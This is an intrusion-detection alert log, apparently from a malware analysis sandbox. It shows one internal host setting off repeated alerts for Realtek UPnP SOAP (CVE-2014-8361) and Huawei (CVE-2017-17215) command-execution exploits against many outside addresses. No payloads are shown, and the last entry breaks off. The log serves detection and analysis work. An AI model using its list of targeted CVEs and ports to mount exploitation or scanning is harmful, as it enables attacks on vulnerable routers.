ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.79.190.240

Timestamp:	07/20/24-23:01:56.001165
SID:	2027339
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.42.191.231

Timestamp:	07/20/24-23:01:41.263140
SID:	2025132
Source Port:	47540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.137.214.123

Timestamp:	07/20/24-23:01:04.601975
SID:	2025132
Source Port:	47382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.213.19.147

Timestamp:	07/20/24-23:01:58.905147
SID:	2027339
Source Port:	46932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.204.254

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	49188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.197.203.89

Timestamp:	07/20/24-23:02:12.214887
SID:	2027339
Source Port:	44612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.4.26.126

Timestamp:	07/20/24-23:00:57.221280
SID:	2835222
Source Port:	43126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.218.167.53

Timestamp:	07/20/24-23:01:45.015200
SID:	2831300
Source Port:	46412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.222.50.62

Timestamp:	07/20/24-23:01:44.683789
SID:	2831300
Source Port:	34530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.96.129.112

Timestamp:	07/20/24-23:01:53.099889
SID:	2025132
Source Port:	60370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.55.206.132

Timestamp:	07/20/24-23:02:11.506914
SID:	2027339
Source Port:	36974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.232.199.152

Timestamp:	07/20/24-23:01:54.277123
SID:	2027339
Source Port:	36376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.135.159

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	42284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.248.87.37

Timestamp:	07/20/24-23:01:08.683684
SID:	2831300
Source Port:	34076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.2.142.127

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	50346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.23.40.145

Timestamp:	07/20/24-23:01:21.928521
SID:	2835222
Source Port:	46762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.50.131.136

Timestamp:	07/20/24-23:01:44.338159
SID:	2027339
Source Port:	55568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.18.150.91

Timestamp:	07/20/24-23:01:41.345953
SID:	2025132
Source Port:	59176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.2.152.124

Timestamp:	07/20/24-23:01:43.890780
SID:	2025132
Source Port:	48176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.7.60.196

Timestamp:	07/20/24-23:01:08.595072
SID:	2831300
Source Port:	58938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.219.175.178

Timestamp:	07/20/24-23:01:08.630327
SID:	2027339
Source Port:	44926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.178.44.200

Timestamp:	07/20/24-23:01:41.416217
SID:	2027339
Source Port:	43360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.51.227

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	59056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 96.102.210.180

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	39918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.124.88.37

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	59138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.180.112.139

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	35764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.78.34.12

Timestamp:	07/20/24-23:01:42.778303
SID:	2027339
Source Port:	38944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.30.72.57

Timestamp:	07/20/24-23:01:43.266134
SID:	2027339
Source Port:	33396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.250.126.53

Timestamp:	07/20/24-23:01:56.315740
SID:	2025132
Source Port:	50866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.131.224.39

Timestamp:	07/20/24-23:01:55.536863
SID:	2831300
Source Port:	48960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.171.198.157

Timestamp:	07/20/24-23:02:04.592319
SID:	2027339
Source Port:	49786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.86.188.195

Timestamp:	07/20/24-23:01:42.699478
SID:	2027339
Source Port:	39250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	07/20/24-23:01:01.285840
SID:	2025132
Source Port:	52268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.248.61

Timestamp:	07/20/24-23:01:11.631937
SID:	2829579
Source Port:	45702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.173.89.17

Timestamp:	07/20/24-23:01:42.365783
SID:	2027339
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.253.193.1

Timestamp:	07/20/24-23:01:57.655207
SID:	2027339
Source Port:	47706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.108.5.216

Timestamp:	07/20/24-23:01:04.097857
SID:	2829579
Source Port:	59062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.112.16

Timestamp:	07/20/24-23:01:27.649996
SID:	2835222
Source Port:	42010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.203.121.55

Timestamp:	07/20/24-23:01:08.599362
SID:	2027339
Source Port:	53054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.201.160

Timestamp:	07/20/24-23:01:31.982478
SID:	2829579
Source Port:	59400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.110.161.158

Timestamp:	07/20/24-23:01:00.633810
SID:	2835222
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.148.71.209

Timestamp:	07/20/24-23:01:05.010861
SID:	2027339
Source Port:	58646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.77.166.232

Timestamp:	07/20/24-23:02:12.234515
SID:	2025132
Source Port:	55384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.223.177.47

Timestamp:	07/20/24-23:01:47.383355
SID:	2027339
Source Port:	44096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.81.74.58

Timestamp:	07/20/24-23:01:49.525770
SID:	2831300
Source Port:	57812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.72.98.132

Timestamp:	07/20/24-23:01:55.409249
SID:	2831300
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:53.267115
SID:	2831300
Source Port:	54964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.84.36.218

Timestamp:	07/20/24-23:01:51.943792
SID:	2027339
Source Port:	41894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.161.187.52

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	56502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.83.163.85

Timestamp:	07/20/24-23:01:31.329969
SID:	2027339
Source Port:	47578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.9.206.193

Timestamp:	07/20/24-23:01:41.676253
SID:	2027339
Source Port:	44594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.69.126.229

Timestamp:	07/20/24-23:01:08.578727
SID:	2027339
Source Port:	38080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.27.97.229

Timestamp:	07/20/24-23:01:01.831747
SID:	2025132
Source Port:	37044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.27.46.251

Timestamp:	07/20/24-23:01:58.093784
SID:	2831300
Source Port:	49082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.200.88.148

Timestamp:	07/20/24-23:01:55.851237
SID:	2027339
Source Port:	53532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.157.174.11

Timestamp:	07/20/24-23:01:14.366797
SID:	2027339
Source Port:	33794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.166.49.173

Timestamp:	07/20/24-23:01:48.386032
SID:	2027339
Source Port:	37672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.245.11.17

Timestamp:	07/20/24-23:01:57.747300
SID:	2025132
Source Port:	58464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.195.200.196

Timestamp:	07/20/24-23:01:01.788008
SID:	2027339
Source Port:	41078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.208.18.63

Timestamp:	07/20/24-23:01:41.404974
SID:	2025132
Source Port:	40958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.82.199.243

Timestamp:	07/20/24-23:01:44.945183
SID:	2025132
Source Port:	33778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.177.145.85

Timestamp:	07/20/24-23:01:49.352576
SID:	2027339
Source Port:	42072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.14.217

Timestamp:	07/20/24-23:00:57.221048
SID:	2835222
Source Port:	36278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.108.103.192

Timestamp:	07/20/24-23:01:08.659435
SID:	2027339
Source Port:	39710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.114.247.43

Timestamp:	07/20/24-23:01:49.810143
SID:	2027339
Source Port:	37980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.203.112.129

Timestamp:	07/20/24-23:01:42.285526
SID:	2831300
Source Port:	43896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.80.83.187

Timestamp:	07/20/24-23:01:42.322405
SID:	2027339
Source Port:	35100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.112.16.238

Timestamp:	07/20/24-23:01:03.412385
SID:	2027339
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.86.220.196

Timestamp:	07/20/24-23:01:47.912435
SID:	2025132
Source Port:	59826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.166.157.114

Timestamp:	07/20/24-23:01:48.191657
SID:	2025132
Source Port:	39676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.124.88.37

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	59138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.124.104.253

Timestamp:	07/20/24-23:01:20.591863
SID:	2027339
Source Port:	46382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.42.58.223

Timestamp:	07/20/24-23:01:01.453951
SID:	2027339
Source Port:	42502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.78.225

Timestamp:	07/20/24-23:01:34.048618
SID:	2835222
Source Port:	41346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.237.72.71

Timestamp:	07/20/24-23:01:44.648889
SID:	2027339
Source Port:	56418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.79.18.186

Timestamp:	07/20/24-23:01:45.453485
SID:	2027339
Source Port:	34196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.178.158

Timestamp:	07/20/24-23:01:04.100971
SID:	2835222
Source Port:	49124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.163.81.215

Timestamp:	07/20/24-23:01:47.420081
SID:	2027339
Source Port:	45666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:49.064169
SID:	2027339
Source Port:	52738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 198.250.155.116

Timestamp:	07/20/24-23:01:50.313969
SID:	2831300
Source Port:	48368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.129.121

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	50466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.234.113.72

Timestamp:	07/20/24-23:01:41.258056
SID:	2025132
Source Port:	40456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.238.186

Timestamp:	07/20/24-23:00:57.220899
SID:	2835222
Source Port:	40788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.187.52.139

Timestamp:	07/20/24-23:01:03.426187
SID:	2025132
Source Port:	36012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.37.245.255

Timestamp:	07/20/24-23:01:50.370395
SID:	2027339
Source Port:	39598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.255.225.88

Timestamp:	07/20/24-23:03:46.099099
SID:	2027339
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.2.127.68

Timestamp:	07/20/24-23:01:42.164492
SID:	2027339
Source Port:	45442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 36.225.241.35

Timestamp:	07/20/24-23:01:27.677519
SID:	2835222
Source Port:	44504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.239.30.22

Timestamp:	07/20/24-23:01:41.459025
SID:	2025132
Source Port:	42738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.106.207.118

Timestamp:	07/20/24-23:01:49.170008
SID:	2831300
Source Port:	60616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.152.150.214

Timestamp:	07/20/24-23:01:08.588009
SID:	2027339
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.4.219.92

Timestamp:	07/20/24-23:01:42.636583
SID:	2027339
Source Port:	43652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.27.209.75

Timestamp:	07/20/24-23:01:44.252201
SID:	2025132
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:01:46.254249
SID:	2025132
Source Port:	40882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.15.34.17

Timestamp:	07/20/24-23:01:49.490945
SID:	2027339
Source Port:	36502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.247.244.116

Timestamp:	07/20/24-23:01:48.602356
SID:	2831300
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.8.193.70

Timestamp:	07/20/24-23:02:00.056416
SID:	2027339
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.204.212.245

Timestamp:	07/20/24-23:01:02.340273
SID:	2027339
Source Port:	45948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.82.145.73

Timestamp:	07/20/24-23:01:07.005156
